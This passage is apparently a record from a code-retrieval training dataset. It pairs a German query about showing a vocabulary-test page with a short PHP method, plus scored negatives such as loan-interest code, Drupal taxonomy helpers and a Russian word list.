$defult_val) {\n\n if ($defult_val <= $daysOfMonth - 1 && $this->od_date <= $od_date_start) {\n $od_dates = '+1 day';\n }\n\n $od_date = $od_date_start->format('Y-m-d H:i:s');\n\n if ((strtotime(date(\"Y/m/d\")) <= strtotime($od_date))) {\n break;\n }\n\n $ODDATES = new DateTime($od_date);\n $ODDATES->modify($od_dates);\n\n $od_date_remove = '-1 day -23 hours -59 minutes -58 seconds';\n\n $ODDATES->modify($od_date_remove);\n\n $od_night = $ODDATES->format('Y-m-d H:i:s');\n\n $od_array[] = $od_interest;\n $od_amount_all = json_encode(round(array_sum($od_array)));\n\n array_push($od_total, $od_amount_all);\n array_push($od_amount_all_array, $od_interest);\n\n $od_date_start->modify($od_dates);\n $y++;\n }\n }\n }\n }\n\n\n if (strtotime(date(\"Y/m/d\")) <= strtotime($date)) {\n break;\n }\n $total_installment_amount += $installment_amount;\n\n $start->modify($modify_range);\n $x++;\n\n\n if ($numOfInstallments == $x) {\n\n //get installment end date\n $INSTALLMENT_END = new DateTime($date);\n $INSTALLMENT_END->modify('+' . $daysOfMonth . ' day');\n $installment_end = $INSTALLMENT_END->format('Y-m-d H:i:s');\n\n //get 5 years ahead date from installment end date\n $INSTALLMENT_UNLIMITED_END = new DateTime($date);\n $INSTALLMENT_UNLIMITED_END->modify('+1725 day');\n $installment_unlimited_end = $INSTALLMENT_UNLIMITED_END->format('Y-m-d H:i:s');\n\n\n $start = strtotime($date);\n $end = strtotime(date(\"Y/m/d\"));\n\n $days_between = floor(abs($end - $start) / 86400) - 1;\n\n $z = 0;\n\n $od_date_start1 = new DateTime($od_night);\n $od_date_start1->modify('+1 day +23 hours +59 minutes +58 seconds');\n\n $defult_val = $days_between;\n\n //if having od after installment end\n if ($od !== false) {\n\n $last_od_date = date('D/M/Y', strtotime($od_night));\n $last_installment_date = date('D/M/Y', strtotime($date));\n\n// $od_amount_all_array_1 = array();\n while ($z <= $defult_val) {\n\n if ($od['od_date_start'] <= $od_date_start1) {\n $od_dates = '+1 day';\n }\n\n $od_date1 = $od_date_start1->format('Y-m-d');\n\n if ((strtotime(date(\"Y/m/d\")) <= strtotime($od_date1))) {\n break;\n }\n //getting brfore of date from current od date\n $OLDODDATE = new DateTime($od_date1);\n\n $od_date_remove1 = '-23 hours -59 minutes -58 seconds';\n\n $OLDODDATE->modify($od_date_remove1);\n $old_od_date = $OLDODDATE->format('Y-m-d H:i:s');\n\n $od_array[] = $od_interest;\n\n $od_amount_all = json_encode(round(array_sum($od_array), 2));\n\n\n array_push($od_amount_all_array, $od_interest);\n array_push($od_total, $od_amount_all);\n\n $od_date_start1->modify($od_dates);\n $z++;\n }\n }\n }\n }\n }\n\n $INSTALLMENT = new Installment(NULL);\n $total_paid_installment = 0;\n $paid_aditional_interrest = 0;\n\n foreach ($INSTALLMENT->getInstallmentByLoan($this->id) as $installment) {\n $paid_aditional_interrest += $installment[\"additional_interest\"];\n $total_paid_installment = $total_paid_installment + $installment[\"paid_amount\"];\n }\n\n $last_od_amount_balance = $od_total_amount - $paid_aditional_interrest;\n\n $all_arress = ($total_paid_installment ) - ($total_installment_amount) - $od_total_amount;\n $system_due = $loan_amount - $total_installment_amount;\n $system_due_num_of_ins = $system_due / $this->installment_amount;\n $actual_due_num_of_ins = $actual_due / $this->installment_amount;\n\n\n\n return [\n 'od_amount' => $od_total_amount,\n 'all_arress' => $all_arress,\n 'all_amount' => $balance,\n 'system-due-num-of-ins' => $system_due_num_of_ins,\n 'system-due' => $system_due,\n 'actual-due-num-of-ins' => $actual_due_num_of_ins,\n 'actual-due' => $actual_due,\n 'receipt-num-of-ins' => $total_paid_installment / $this->installment_amount,\n 'receipt' => $total_paid_installment + $paid_aditional_interrest,\n 'arrears-excess-num-of-ins' => ($total_installment_amount - $total_paid_installment) / $this->installment_amount,\n 'arrears-excess' => ($total_installment_amount) - ($total_paid_installment),\n 'installment_amount' => $amount,\n ];\n }",
"public function FireStatisticalinWeek($date){\n $result = array();\n $result[0]['date'] = $date;\n $result[0]['count'] = $this->FireStatistical($date);\n for($i = 1; $i < 7; $i++)\n {\n //$strdate = $i;\n $date1 = date('Y/m/d', strtotime('-'.$i.' days', strtotime($date)));\n $result[$i]['date'] = $date1;\n $result[$i]['count'] = $this->FireStatistical($date1);\n }\n return $result;\n }",
"public function getDateNaiss()\n {\n return $this->dateNaiss;\n }"
] | [
"0.60805726",
"0.57581687",
"0.5676391",
"0.56397104",
"0.5602749",
"0.5595189",
"0.5560494",
"0.5519868",
"0.5467322",
"0.5426971",
"0.5400147",
"0.53825784",
"0.53265244",
"0.53079003",
"0.5288661",
"0.52688015",
"0.52382576",
"0.5226381",
"0.5183583",
"0.51677185",
"0.51451933",
"0.5139666",
"0.51390326",
"0.5124914",
"0.51237243",
"0.5106765",
"0.50820583",
"0.5059112",
"0.505553",
"0.5048985",
"0.5035632",
"0.5032221",
"0.50310546",
"0.50284183",
"0.50241804",
"0.50222296",
"0.50135446",
"0.49798945",
"0.4976342",
"0.49688444",
"0.49672028",
"0.4964657",
"0.49505326",
"0.4945048",
"0.4939042",
"0.4926582",
"0.49248055",
"0.49205503",
"0.49184093",
"0.4907439",
"0.49062884",
"0.49047288",
"0.49034223",
"0.49005717",
"0.48982975",
"0.4895712",
"0.48859653",
"0.4882699",
"0.4879152",
"0.4879005",
"0.48758072",
"0.48757267",
"0.48675126",
"0.48643702",
"0.48598486",
"0.48505363",
"0.4844836",
"0.48326063",
"0.48312378",
"0.4825789",
"0.48172873",
"0.47953936",
"0.47861168",
"0.47854033",
"0.47794586",
"0.47725034",
"0.47602865",
"0.47585925",
"0.47583327",
"0.4754545",
"0.4752612",
"0.47466615",
"0.47447908",
"0.47444162",
"0.47429535",
"0.47415507",
"0.47304645",
"0.47301313",
"0.47193953",
"0.47189698",
"0.47105408",
"0.47088888",
"0.46954012",
"0.4693142",
"0.4692776",
"0.46903852",
"0.4681282",
"0.46769223",
"0.46716407",
"0.46708432",
"0.4670144"
] | 0.0 | -1 |
Stellt die Seite der Vokabelabfrage dar (vocabularyTest.php). | private function printLessonPage() {
$correctVocabulary = mt_rand ( 0, 4 );
include ('html/vocabularyTest.php');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function testAllVocabulariesLoaded() {\n $this->drupalGet('admin/structure/tagadelic');\n $this->assertResponse(200);\n $this->assertRaw('Tag Cloud');\n\n foreach($this->vocabularies as $vocabulary) {\n $this->assertRaw($vocabulary->get('name'));\n }\n }",
"public function vocab() {\n\t\t$pageTitle = 'Vocabulary';\n\t\t// $stylesheet = '';\n\n\t\tinclude_once SYSTEM_PATH.'/view/header.php';\n\t\tinclude_once SYSTEM_PATH.'/view/academic-help/vocab.php';\n\t\tinclude_once SYSTEM_PATH.'/view/footer.php';\n\t}",
"function findVocabulary($vocabulary) \r\n\t{\r\n\t\t\r\n\t\t$errmsg = RDFAPI_ERROR . '(class: InfModel; method: findVocabulary): \r\n\t\t\t\t\t\t\t\t\tThis function is disabled in the \r\n\t\t\t\t\t\t\t\t\tInference Model';\r\n\t\ttrigger_error($errmsg, E_USER_ERROR); \r\n\t}",
"private function printAnswerPage() {\n\t\t$correctVocabulary = 0;\n\t\t$wrongVocabulary = 1;\n\t\tinclude ('html/vocabularyAnswer.php');\n\t}",
"private function _saveVocabularies(){\n $db = get_db();\n $fVs = include 'formal_vocabularies.php';\n $irp = $db->getTable('ItemRelationsProperty');\n $irv = $db->getTable('ItemRelationsVocabulary');\n \n foreach ($fVs as $fV) {\n \n echo $fV['name'];\n \n \n //check for existing vocab\n $found = $irv->findBySql('name = ? ', array($fV['name']));\n \n \n $vocab = !isset($found[0]) ? new ItemRelationsVocabulary() : $found[0];\n \n $vocab->name = $fV['name'];\n $vocab->custom = 0;\n $vocab->description = $fV['description'];\n $vocab->namespace_uri = $fV['namespace_uri'];\n $vocab->namespace_prefix = $fV['namespace_prefix'];\n \n $vocab->save();\n \n foreach ($fV['properties'] as $fP) {\n \n //check for existing property\n $found = $irp->findBySql('local_part = ? ',array($fP['local_part']));\n $prop = !isset($found[0]) ? new ItemRelationsProperty() : $found[0];\n \n $prop->vocabulary_id = $vocab->id;\n $prop->description = $fP['description'];\n $prop->local_part = $fP['local_part'];\n $prop->label = $fP['label'];\n \n $prop->save();\n \n debug(sprintf(\"saved property %s in vocabulary %s\", $prop->local_part, $vocab->name)); \n \n }\n \n \n \n }\n }",
"protected function emptyTestVocabulary(): void {\n $storage = $this->container->get('entity_type.manager')->getStorage('taxonomy_term');\n if ($tids = $storage->getQuery()->condition('vid', 'test_vocab')->execute()) {\n $storage->delete($storage->loadMultiple($tids));\n }\n }",
"public function testSimple()\n {\n //$tokenizer->tokenize(__FILE__);\n }",
"public function testGetTermsList()\n {\n $vocabularies = array(\n 'app_genre',\n 'app_platforms',\n 'app_publishers',\n 'entertainment_product_awards',\n 'pricing_structure',\n 'education_special_needs',\n 'grades',\n 'education_subjects',\n 'education_skills',\n 'tv_genre',\n );\n\n foreach ($vocabularies as $vocabulary) {\n $response = $this->education->get_terms_list($vocabulary);\n\n $terms = $response->response;\n foreach ($terms as $term) {\n $this->assertNotNull($term->parent_id);\n $this->assertNotNull($term->type);\n $this->assertNotNull($term->id);\n $this->assertEquals($term->type, $vocabulary);\n }\n }\n }",
"public function actionTest()\n {\n //\n // General::printR(((array)$catalog)['Товар']);\n //\n // foreach ($catalog->Товар as $key => $value) {\n // echo $key . \"\\n\";\n // }\n }",
"public function hasVocabulary() {\n return $this->_has(1);\n }",
"public function hasVocabulary() {\n return $this->_has(1);\n }",
"public function vocScore();",
"public function vocabulary() {\n $vocabularies = taxonomy_get_vocabularies();\n if (is_numeric($this->config['vocabulary'])) {\n return $vocabularies[$this->config['vocabulary']];\n }\n else {\n foreach ($vocabularies as $vocabulary) {\n if ($vocabulary->module == $this->config['vocabulary']) {\n return $vocabulary;\n }\n }\n }\n }",
"public function dataSampleWords() \n {\n Inflector::reset();\n \n // in the format array('singular', 'plural') \n return array(\n array('categoria', 'categorias'),\n array('house', 'houses'),\n array('powerhouse', 'powerhouses'),\n array('Bus', 'Buses'),\n array('bus', 'buses'),\n array('menu', 'menus'),\n array('news', 'news'),\n array('food_menu', 'food_menus'),\n array('Menu', 'Menus'),\n array('FoodMenu', 'FoodMenus'),\n array('quiz', 'quizzes'),\n array('matrix_row', 'matrix_rows'),\n array('matrix', 'matrices'),\n array('vertex', 'vertices'),\n array('index', 'indices'),\n array('Alias', 'Aliases'),\n array('Media', 'Media'),\n array('NodeMedia', 'NodeMedia'),\n array('alumnus', 'alumni'),\n array('bacillus', 'bacilli'),\n array('cactus', 'cacti'),\n array('focus', 'foci'),\n array('fungus', 'fungi'),\n array('nucleus', 'nuclei'),\n array('octopus', 'octopuses'),\n array('radius', 'radii'),\n array('stimulus', 'stimuli'),\n array('syllabus', 'syllabi'),\n array('terminus', 'termini'),\n array('virus', 'viri'),\n array('person', 'people'),\n array('glove', 'gloves'),\n array('crisis', 'crises'),\n array('tax', 'taxes'),\n array('wave', 'waves'),\n array('bureau', 'bureaus'),\n array('cafe', 'cafes'),\n array('roof', 'roofs'),\n array('foe', 'foes'),\n array('cookie', 'cookies'),\n array('identity', 'identities'),\n array('criteria', 'criterion'),\n array('curve', 'curves'),\n array('', ''),\n );\n }",
"public function getStemV() {}",
"public function vocabulary()\n {\n return $this->belongsTo('App\\Models\\Vocabulary');\n }",
"public function testIndex()\n {\n // full list\n $response = $this->get(url('api/genre?api_token=' . $this->api_token));\n $response->assertStatus(200);\n $response->assertSeeText('Thriller');\n $response->assertSeeText('Fantasy');\n $response->assertSeeText('Sci-Fi');\n }",
"function getCVocabularyNames() {\n\t global $sotfVars;\n\t // avail langs are stored in sotf_vars and updated by install.php\n\t // roles\n\t $langs = explode(',', $sotfVars->get('roles_langs', 'eng'));\n\t foreach($langs as $l) {\n\t\t$retval[] = array(\"roles\",\"\",$l);\n\t }\n\t // genres\n\t $langs = explode(',', $sotfVars->get('genres_langs', 'eng'));\n\t foreach($langs as $l) {\n\t\t$retval[] = array(\"genres\",\"\",$l);\n\t }\n\t // subject trees\n\t $trees = $this->listTrees();\n\t foreach($trees as $t) {\n\t\t$langs = explode(',', $t['languages']);\n\t\tforeach($langs as $l) {\n\t\t $retval[] = array(\"topics\", $t['tree_id'], $l);\n\t\t}\n\t }\n\t return $retval;\n }",
"public function languages();",
"function create_taxonomy_vocabulary ( array $settings ) {\n $description = t ( $settings[ 'description' ] );\n\n if ( ! isset( $settings[ 'help' ] ) )\n $help = \"\";\n\n $vocabulary = (object) array (\n 'name' => t ( $settings[ 'name' ] ) ,\n 'description' => $description ,\n 'machine_name' => $settings[ 'machine_name' ] ,\n 'help' => $help ,\n 'nodes' => $settings[ 'nodes' ] ,\n 'multiple' => $settings[ 'multiple' ] ,\n 'required' => $settings[ 'required' ] ,\n );\n\n return taxonomy_vocabulary_save ( $vocabulary );\n}",
"public function test_library_language() {\n\t\t$path = route('v2_library_language', [], false);\n\n\t\techo \"\\nTesting: \" . route('v2_library_language');\n\t\t$response = $this->get(route('v2_library_language'), $this->params);\n\t\t$response->assertSuccessful();\n\t\t$response->assertJsonStructure([$this->getSchemaKeys('v2_library_language')]);\n\t\t$this->compareToOriginal($path,[$this->getSchemaKeys('v2_library_language')]);\n\t}",
"function _ficalink_taxonomy_default_vocabularies() {\n $items = array(\n array(\n 'name' => 'Authors',\n 'description' => '',\n 'help' => '',\n 'relations' => '1',\n 'hierarchy' => '1',\n 'multiple' => '0',\n 'required' => '0',\n 'tags' => '0',\n 'module' => 'taxonomy',\n 'weight' => '0',\n 'nodes' => array(),\n 'machine' => 'authors',\n ),\n array(\n 'name' => 'Characters',\n 'description' => '',\n 'help' => '',\n 'relations' => '1',\n 'hierarchy' => '1',\n 'multiple' => '0',\n 'required' => '0',\n 'tags' => '0',\n 'module' => 'taxonomy',\n 'weight' => '0',\n 'nodes' => array(),\n 'machine' => 'characters',\n ),\n array(\n 'name' => 'Genres',\n 'description' => '',\n 'help' => '',\n 'relations' => '1',\n 'hierarchy' => '0',\n 'multiple' => '0',\n 'required' => '0',\n 'tags' => '0',\n 'module' => 'taxonomy',\n 'weight' => '0',\n 'nodes' => array(),\n 'machine' => 'genres',\n ),\n array(\n 'name' => 'Series',\n 'description' => '',\n 'help' => '',\n 'relations' => '1',\n 'hierarchy' => '1',\n 'multiple' => '0',\n 'required' => '0',\n 'tags' => '0',\n 'module' => 'taxonomy',\n 'weight' => '0',\n 'nodes' => array(),\n 'machine' => 'series',\n ),\n array(\n 'name' => 'Tags',\n 'description' => '',\n 'help' => '',\n 'relations' => '1',\n 'hierarchy' => '0',\n 'multiple' => '0',\n 'required' => '0',\n 'tags' => '0',\n 'module' => 'taxonomy',\n 'weight' => '0',\n 'nodes' => array(),\n 'machine' => 'tags',\n ),\n array(\n 'name' => 'Warnings',\n 'description' => '',\n 'help' => '',\n 'relations' => '1',\n 'hierarchy' => '0',\n 'multiple' => '0',\n 'required' => '0',\n 'tags' => '0',\n 'module' => 'taxonomy',\n 'weight' => '0',\n 'nodes' => array(),\n 'machine' => 'warnings',\n ),\n );\n return $items;\n}",
"function __construct() {\n // $VOWEL = variable_get('ukstemmer_vowel', '/аеиоуюяіїє/');\n // $PERFECTIVEGROUND = variable_get('ukstemmer_perfectiveground', '/((ив|ивши|ившись|ыв|ывши|ывшись((?<=[ая])(в|вши|вшись)))$/');\n // $REFLEXIVE = variable_get('ukstemmer_reflexive', '/(с[яьи])$/');\n // $ADJECTIVE = variable_get('ukstemmer_adjective', '/(ее|ие|ые|ое|ими|ыми|ей|ий|ый|ой|ем|им|ым|ом|его|ого|ему|ому|их|ых|ую|юю|ая|яя|ою|ею)$/');\n // $PARTICIPLE = variable_get('ukstemmer_participle', '/((ивш|ывш|ующ)|((?<=[ая])(ем|нн|вш|ющ|щ)))$/');\n // $VERB = variable_get('ukstemmer_verb', '/((ила|ыла|ена|ейте|уйте|ите|или|ыли|ей|уй|ил|ыл|им|ым|ен|ило|ыло|ено|ят|ует|уют|ит|ыт|ены|ить|ыть|ишь|ую|ю)|((?<=[ая])(ла|на|ете|йте|ли|й|л|ем|н|ло|но|ет|ют|ны|ть|ешь|нно)))$/');\n // $NOUN = variable_get('ukstemmer_noun', '/(а|ев|ов|ие|ье|е|иями|ями|ами|еи|ии|и|ией|ей|ой|ий|й|иям|ям|ием|ем|ам|ом|о|у|ах|иях|ях|ы|ь|ию|ью|ю|ия|ья|я)$/');\n // $RVRE = variable_get('ukstemmer_rvre', '/^(.*?[аеиоуюяіїє])(.*)$/');\n // $DERIVATIONAL = variable_get('ukstemmer_derivational', '/[^аеиоуюяіїє][аеиоуюяіїє]+[^аеиоуюяіїє]+[аеиоуюяіїє].*(?<=о)сть?$/');\n }",
"public function testTransliterate() {\n $this->assertEquals('Ingles', Inflector::transliterate('Inglés'));\n $this->assertEquals('Uber', Inflector::transliterate('Über'));\n }",
"static public function words() : array {\n return [\n \"абажур\",\n \"абзац\",\n \"абонент\",\n \"абрикос\",\n \"абсурд\",\n \"авангард\",\n \"август\",\n \"авиация\",\n \"авоська\",\n \"автор\",\n \"агат\",\n \"агент\",\n \"агитатор\",\n \"агнец\",\n \"агония\",\n \"агрегат\",\n \"адвокат\",\n \"адмирал\",\n \"адрес\",\n \"ажиотаж\",\n \"азарт\",\n \"азбука\",\n \"азот\",\n \"аист\",\n \"айсберг\",\n \"академия\",\n \"аквариум\",\n \"аккорд\",\n \"акробат\",\n \"аксиома\",\n \"актер\",\n \"акула\",\n \"акция\",\n \"алгоритм\",\n \"алебарда\",\n \"аллея\",\n \"алмаз\",\n \"алтарь\",\n \"алфавит\",\n \"алхимик\",\n \"алый\",\n \"альбом\",\n \"алюминий\",\n \"амбар\",\n \"аметист\",\n \"амнезия\",\n \"ампула\",\n \"амфора\",\n \"анализ\",\n \"ангел\",\n \"анекдот\",\n \"анимация\",\n \"анкета\",\n \"аномалия\",\n \"ансамбль\",\n \"антенна\",\n \"апатия\",\n \"апельсин\",\n \"апофеоз\",\n \"аппарат\",\n \"апрель\",\n \"аптека\",\n \"арабский\",\n \"арбуз\",\n \"аргумент\",\n \"арест\",\n \"ария\",\n \"арка\",\n \"армия\",\n \"аромат\",\n \"арсенал\",\n \"артист\",\n \"архив\",\n \"аршин\",\n \"асбест\",\n \"аскетизм\",\n \"аспект\",\n \"ассорти\",\n \"астроном\",\n \"асфальт\",\n \"атака\",\n \"ателье\",\n \"атлас\",\n \"атом\",\n \"атрибут\",\n \"аудитор\",\n \"аукцион\",\n \"аура\",\n \"афера\",\n \"афиша\",\n \"ахинея\",\n \"ацетон\",\n \"аэропорт\",\n \"бабушка\",\n \"багаж\",\n \"бадья\",\n \"база\",\n \"баклажан\",\n \"балкон\",\n \"бампер\",\n \"банк\",\n \"барон\",\n \"бассейн\",\n \"батарея\",\n \"бахрома\",\n \"башня\",\n \"баян\",\n \"бегство\",\n \"бедро\",\n \"бездна\",\n \"бекон\",\n \"белый\",\n \"бензин\",\n \"берег\",\n \"беседа\",\n \"бетонный\",\n \"биатлон\",\n \"библия\",\n \"бивень\",\n \"бигуди\",\n \"бидон\",\n \"бизнес\",\n \"бикини\",\n \"билет\",\n \"бинокль\",\n \"биология\",\n \"биржа\",\n \"бисер\",\n \"битва\",\n \"бицепс\",\n \"благо\",\n \"бледный\",\n \"близкий\",\n \"блок\",\n \"блуждать\",\n \"блюдо\",\n \"бляха\",\n \"бобер\",\n \"богатый\",\n \"бодрый\",\n \"боевой\",\n \"бокал\",\n \"большой\",\n \"борьба\",\n \"босой\",\n \"ботинок\",\n \"боцман\",\n \"бочка\",\n \"боярин\",\n \"брать\",\n \"бревно\",\n \"бригада\",\n \"бросать\",\n \"брызги\",\n \"брюки\",\n \"бублик\",\n \"бугор\",\n \"будущее\",\n \"буква\",\n \"бульвар\",\n \"бумага\",\n \"бунт\",\n \"бурный\",\n \"бусы\",\n \"бутылка\",\n \"буфет\",\n \"бухта\",\n \"бушлат\",\n \"бывалый\",\n \"быль\",\n \"быстрый\",\n \"быть\",\n \"бюджет\",\n \"бюро\",\n \"бюст\",\n \"вагон\",\n \"важный\",\n \"ваза\",\n \"вакцина\",\n \"валюта\",\n \"вампир\",\n \"ванная\",\n \"вариант\",\n \"вассал\",\n \"вата\",\n \"вафля\",\n \"вахта\",\n \"вдова\",\n \"вдыхать\",\n \"ведущий\",\n \"веер\",\n \"вежливый\",\n \"везти\",\n \"веко\",\n \"великий\",\n \"вена\",\n \"верить\",\n \"веселый\",\n \"ветер\",\n \"вечер\",\n \"вешать\",\n \"вещь\",\n \"веяние\",\n \"взаимный\",\n \"взбучка\",\n \"взвод\",\n \"взгляд\",\n \"вздыхать\",\n \"взлетать\",\n \"взмах\",\n \"взнос\",\n \"взор\",\n \"взрыв\",\n \"взывать\",\n \"взятка\",\n \"вибрация\",\n \"визит\",\n \"вилка\",\n \"вино\",\n \"вирус\",\n \"висеть\",\n \"витрина\",\n \"вихрь\",\n \"вишневый\",\n \"включать\",\n \"вкус\",\n \"власть\",\n \"влечь\",\n \"влияние\",\n \"влюблять\",\n \"внешний\",\n \"внимание\",\n \"внук\",\n \"внятный\",\n \"вода\",\n \"воевать\",\n \"вождь\",\n \"воздух\",\n \"войти\",\n \"вокзал\",\n \"волос\",\n \"вопрос\",\n \"ворота\",\n \"восток\",\n \"впадать\",\n \"впускать\",\n \"врач\",\n \"время\",\n \"вручать\",\n \"всадник\",\n \"всеобщий\",\n \"вспышка\",\n \"встреча\",\n \"вторник\",\n \"вулкан\",\n \"вурдалак\",\n \"входить\",\n \"въезд\",\n \"выбор\",\n \"вывод\",\n \"выгодный\",\n \"выделять\",\n \"выезжать\",\n \"выживать\",\n \"вызывать\",\n \"выигрыш\",\n \"вылезать\",\n \"выносить\",\n \"выпивать\",\n \"высокий\",\n \"выходить\",\n \"вычет\",\n \"вышка\",\n \"выяснять\",\n \"вязать\",\n \"вялый\",\n \"гавань\",\n \"гадать\",\n \"газета\",\n \"гаишник\",\n \"галстук\",\n \"гамма\",\n \"гарантия\",\n \"гастроли\",\n \"гвардия\",\n \"гвоздь\",\n \"гектар\",\n \"гель\",\n \"генерал\",\n \"геолог\",\n \"герой\",\n \"гешефт\",\n \"гибель\",\n \"гигант\",\n \"гильза\",\n \"гимн\",\n \"гипотеза\",\n \"гитара\",\n \"глаз\",\n \"глина\",\n \"глоток\",\n \"глубокий\",\n \"глыба\",\n \"глядеть\",\n \"гнать\",\n \"гнев\",\n \"гнить\",\n \"гном\",\n \"гнуть\",\n \"говорить\",\n \"годовой\",\n \"голова\",\n \"гонка\",\n \"город\",\n \"гость\",\n \"готовый\",\n \"граница\",\n \"грех\",\n \"гриб\",\n \"громкий\",\n \"группа\",\n \"грызть\",\n \"грязный\",\n \"губа\",\n \"гудеть\",\n \"гулять\",\n \"гуманный\",\n \"густой\",\n \"гуща\",\n \"давать\",\n \"далекий\",\n \"дама\",\n \"данные\",\n \"дарить\",\n \"дать\",\n \"дача\",\n \"дверь\",\n \"движение\",\n \"двор\",\n \"дебют\",\n \"девушка\",\n \"дедушка\",\n \"дежурный\",\n \"дезертир\",\n \"действие\",\n \"декабрь\",\n \"дело\",\n \"демократ\",\n \"день\",\n \"депутат\",\n \"держать\",\n \"десяток\",\n \"детский\",\n \"дефицит\",\n \"дешевый\",\n \"деятель\",\n \"джаз\",\n \"джинсы\",\n \"джунгли\",\n \"диалог\",\n \"диван\",\n \"диета\",\n \"дизайн\",\n \"дикий\",\n \"динамика\",\n \"диплом\",\n \"директор\",\n \"диск\",\n \"дитя\",\n \"дичь\",\n \"длинный\",\n \"дневник\",\n \"добрый\",\n \"доверие\",\n \"договор\",\n \"дождь\",\n \"доза\",\n \"документ\",\n \"должен\",\n \"домашний\",\n \"допрос\",\n \"дорога\",\n \"доход\",\n \"доцент\",\n \"дочь\",\n \"дощатый\",\n \"драка\",\n \"древний\",\n \"дрожать\",\n \"друг\",\n \"дрянь\",\n \"дубовый\",\n \"дуга\",\n \"дудка\",\n \"дукат\",\n \"дуло\",\n \"думать\",\n \"дупло\",\n \"дурак\",\n \"дуть\",\n \"духи\",\n \"душа\",\n \"дуэт\",\n \"дымить\",\n \"дыня\",\n \"дыра\",\n \"дыханье\",\n \"дышать\",\n \"дьявол\",\n \"дюжина\",\n \"дюйм\",\n \"дюна\",\n \"дядя\",\n \"дятел\",\n \"егерь\",\n \"единый\",\n \"едкий\",\n \"ежевика\",\n \"ежик\",\n \"езда\",\n \"елка\",\n \"емкость\",\n \"ерунда\",\n \"ехать\",\n \"жадный\",\n \"жажда\",\n \"жалеть\",\n \"жанр\",\n \"жара\",\n \"жать\",\n \"жгучий\",\n \"ждать\",\n \"жевать\",\n \"желание\",\n \"жемчуг\",\n \"женщина\",\n \"жертва\",\n \"жесткий\",\n \"жечь\",\n \"живой\",\n \"жидкость\",\n \"жизнь\",\n \"жилье\",\n \"жирный\",\n \"житель\",\n \"журнал\",\n \"жюри\",\n \"забывать\",\n \"завод\",\n \"загадка\",\n \"задача\",\n \"зажечь\",\n \"зайти\",\n \"закон\",\n \"замечать\",\n \"занимать\",\n \"западный\",\n \"зарплата\",\n \"засыпать\",\n \"затрата\",\n \"захват\",\n \"зацепка\",\n \"зачет\",\n \"защита\",\n \"заявка\",\n \"звать\",\n \"звезда\",\n \"звонить\",\n \"звук\",\n \"здание\",\n \"здешний\",\n \"здоровье\",\n \"зебра\",\n \"зевать\",\n \"зеленый\",\n \"земля\",\n \"зенит\",\n \"зеркало\",\n \"зефир\",\n \"зигзаг\",\n \"зима\",\n \"зиять\",\n \"злак\",\n \"злой\",\n \"змея\",\n \"знать\",\n \"зной\",\n \"зодчий\",\n \"золотой\",\n \"зомби\",\n \"зона\",\n \"зоопарк\",\n \"зоркий\",\n \"зрачок\",\n \"зрение\",\n \"зритель\",\n \"зубной\",\n \"зыбкий\",\n \"зять\",\n \"игла\",\n \"иголка\",\n \"играть\",\n \"идея\",\n \"идиот\",\n \"идол\",\n \"идти\",\n \"иерархия\",\n \"избрать\",\n \"известие\",\n \"изгонять\",\n \"издание\",\n \"излагать\",\n \"изменять\",\n \"износ\",\n \"изоляция\",\n \"изрядный\",\n \"изучать\",\n \"изымать\",\n \"изящный\",\n \"икона\",\n \"икра\",\n \"иллюзия\",\n \"имбирь\",\n \"иметь\",\n \"имидж\",\n \"иммунный\",\n \"империя\",\n \"инвестор\",\n \"индивид\",\n \"инерция\",\n \"инженер\",\n \"иномарка\",\n \"институт\",\n \"интерес\",\n \"инфекция\",\n \"инцидент\",\n \"ипподром\",\n \"ирис\",\n \"ирония\",\n \"искать\",\n \"история\",\n \"исходить\",\n \"исчезать\",\n \"итог\",\n \"июль\",\n \"июнь\",\n \"кабинет\",\n \"кавалер\",\n \"кадр\",\n \"казарма\",\n \"кайф\",\n \"кактус\",\n \"калитка\",\n \"камень\",\n \"канал\",\n \"капитан\",\n \"картина\",\n \"касса\",\n \"катер\",\n \"кафе\",\n \"качество\",\n \"каша\",\n \"каюта\",\n \"квартира\",\n \"квинтет\",\n \"квота\",\n \"кедр\",\n \"кекс\",\n \"кенгуру\",\n \"кепка\",\n \"керосин\",\n \"кетчуп\",\n \"кефир\",\n \"кибитка\",\n \"кивнуть\",\n \"кидать\",\n \"километр\",\n \"кино\",\n \"киоск\",\n \"кипеть\",\n \"кирпич\",\n \"кисть\",\n \"китаец\",\n \"класс\",\n \"клетка\",\n \"клиент\",\n \"клоун\",\n \"клуб\",\n \"клык\",\n \"ключ\",\n \"клятва\",\n \"книга\",\n \"кнопка\",\n \"кнут\",\n \"князь\",\n \"кобура\",\n \"ковер\",\n \"коготь\",\n \"кодекс\",\n \"кожа\",\n \"козел\",\n \"койка\",\n \"коктейль\",\n \"колено\",\n \"компания\",\n \"конец\",\n \"копейка\",\n \"короткий\",\n \"костюм\",\n \"котел\",\n \"кофе\",\n \"кошка\",\n \"красный\",\n \"кресло\",\n \"кричать\",\n \"кровь\",\n \"крупный\",\n \"крыша\",\n \"крючок\",\n \"кубок\",\n \"кувшин\",\n \"кудрявый\",\n \"кузов\",\n \"кукла\",\n \"культура\",\n \"кумир\",\n \"купить\",\n \"курс\",\n \"кусок\",\n \"кухня\",\n \"куча\",\n \"кушать\",\n \"кювет\",\n \"лабиринт\",\n \"лавка\",\n \"лагерь\",\n \"ладонь\",\n \"лазерный\",\n \"лайнер\",\n \"лакей\",\n \"лампа\",\n \"ландшафт\",\n \"лапа\",\n \"ларек\",\n \"ласковый\",\n \"лауреат\",\n \"лачуга\",\n \"лаять\",\n \"лгать\",\n \"лебедь\",\n \"левый\",\n \"легкий\",\n \"ледяной\",\n \"лежать\",\n \"лекция\",\n \"лента\",\n \"лепесток\",\n \"лесной\",\n \"лето\",\n \"лечь\",\n \"леший\",\n \"лживый\",\n \"либерал\",\n \"ливень\",\n \"лига\",\n \"лидер\",\n \"ликовать\",\n \"лиловый\",\n \"лимон\",\n \"линия\",\n \"липа\",\n \"лирика\",\n \"лист\",\n \"литр\",\n \"лифт\",\n \"лихой\",\n \"лицо\",\n \"личный\",\n \"лишний\",\n \"лобовой\",\n \"ловить\",\n \"логика\",\n \"лодка\",\n \"ложка\",\n \"лозунг\",\n \"локоть\",\n \"ломать\",\n \"лоно\",\n \"лопата\",\n \"лорд\",\n \"лось\",\n \"лоток\",\n \"лохматый\",\n \"лошадь\",\n \"лужа\",\n \"лукавый\",\n \"луна\",\n \"лупить\",\n \"лучший\",\n \"лыжный\",\n \"лысый\",\n \"львиный\",\n \"льгота\",\n \"льдина\",\n \"любить\",\n \"людской\",\n \"люстра\",\n \"лютый\",\n \"лягушка\",\n \"магазин\",\n \"мадам\",\n 